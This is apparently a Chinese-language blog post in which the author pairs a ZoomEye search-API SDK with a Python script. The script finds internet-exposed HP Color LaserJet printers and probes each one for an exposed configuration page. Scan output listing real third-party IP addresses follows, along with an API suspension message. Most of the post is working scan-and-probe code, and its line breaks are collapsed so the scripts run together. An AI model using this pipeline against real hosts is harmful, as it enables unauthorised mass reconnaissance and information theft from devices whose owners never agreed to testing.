ZoomEye+Seebug雷達火炮雙引擎的威力

標籤：

  ZoomEye想必大家都很熟悉，不熟悉的話。撒旦總是熟悉的。還不熟悉的話，google你總是熟悉的。否則你實在不應該看這篇文章了。233333，開個玩笑。不過話說回來了，我這麼一說，你大概是知道ZoomEye是怎麼回事的。不知道的話，請百度一下。我等你回來~

  說了這麼多的廢話，今天到底要幹啥？下面開始表演。

  一次十分機密的任務，然後寫了一個ZoomEye api的sdk。恰好又在Seebug寫了一個外掛程式。是檢測一個IOT裝置漏洞的。然後找外掛程式檢測網站時候犯難了。死活找不到。

  話說你不是說ZoomEye多麼的厲害嗎？

  沒錯！！！

  就是這個。我用自己寫的SDK配合開放的api。接著：

  

#!/usr/bin/env python# -*-coding:utf-8 -*-import sysimport requestsimport zoomeye.zoomeye as zoomeyetest = zoomeye.zoomeye()username = ‘your [email protected]‘password = ‘your zoomeye account password‘token = test.logIn(username, password)

  就這樣我已經登入了ZoomEye。什嗎？你說你不信？

  

#!/usr/bin/env python# -*-coding:utf-8 -*-import sysimport requestsimport zoomeye.zoomeye as zoomeyetest = zoomeye.zoomeye()username = ‘your [email protected]‘password = ‘your ZoomEye account password‘token = test.logIn(username, password)result = test.search(‘web‘,query=‘HP Color LaserJet‘,page=1,facets=‘app,os‘)print result

　告訴我你看到了什嗎？

   是不是瞬間感覺自己萌萌噠~

   接著我這樣寫了一個指令碼。

   

#!/usr/bin/env python# -*-coding:utf-8 -*-import sysimport requestsimport zoomeye.zoomeye as zoomeyetest = zoomeye.zoomeye()username = ‘your [email protected]‘password = ‘your ZoomEye account password‘token = test.logIn(username, password)result = test.search(‘web‘,query=‘HP Color LaserJet‘,page=1,facets=‘app,os‘)target = []for i in result:    for x in i[‘matches‘]:        print x[‘ip‘]        target.append(x[‘ip‘][0])for ip in target:    try:        payload = ‘/hp/device/InternalPages/Index?id=ConfigurationPage‘        url = ‘http://‘ + ip + payload        res_exp = requests.get(url)        print ‘[-]checking url %s‘ % url        if res_exp.status_code == 200 and ‘HomeDeviceName‘ in res_exp.content and ‘HomeDeviceIp‘ in res_exp.content:            print ‘[+]%s is vul‘ % url        elif res_exp.status_code != 200:            print ‘[+]%s is static‘ % url        else:            pass    except Exception, e:        pass

　然後結果是這樣的：

   

[-]checking url http://192.185.150.112/hp/device/InternalPages/Index?id=ConfigurationPage[-]checking url http://140.118.123.43/hp/device/InternalPages/Index?id=ConfigurationPage[+]http://140.118.123.43/hp/device/InternalPages/Index?id=ConfigurationPage is static[-]checking url http://31.160.189.69/hp/device/InternalPages/Index?id=ConfigurationPage[+]http://31.160.189.69/hp/device/InternalPages/Index?id=ConfigurationPage is static[-]checking url http://129.89.57.148/hp/device/InternalPages/Index?id=ConfigurationPage[+]http://129.89.57.148/hp/device/InternalPages/Index?id=ConfigurationPage is static[-]checking url http://170.210.3.40/hp/device/InternalPages/Index?id=ConfigurationPage[+]http://170.210.3.40/hp/device/InternalPages/Index?id=ConfigurationPage is static[-]checking url http://74.208.41.246/hp/device/InternalPages/Index?id=ConfigurationPage[+]http://74.208.41.246/hp/device/InternalPages/Index?id=ConfigurationPage is static[-]checking url http://140.112.57.144/hp/device/InternalPages/Index?id=ConfigurationPage[+]http://140.112.57.144/hp/device/InternalPages/Index?id=ConfigurationPage is static[-]checking url http://67.63.41.136/hp/device/InternalPages/Index?id=ConfigurationPage[+]http://67.63.41.136/hp/device/InternalPages/Index?id=ConfigurationPage is static

　　沒卵用啊~_~

      換一頁繼續：修改page參數。

      因為賬戶等級的問題。這裡是有限制策略的。  當修改為2的時候，結果

{u‘url‘: u‘https://www.zoomeye.org/api/doc#limitations‘, u‘message‘: u‘account was suspend, excceeding the 30% of total (7.5)‘, u‘error‘: u‘suspended‘}

　　然後試了試網頁版。經過不懈努力。

      最終

https://xxxxx/hp/device/InternalPages/Index?id=ConfigurationPage is vul

    外掛程式提交在了Seebug。

   

   

   

  

ZoomEye+Seebug雷達火炮雙引擎的威力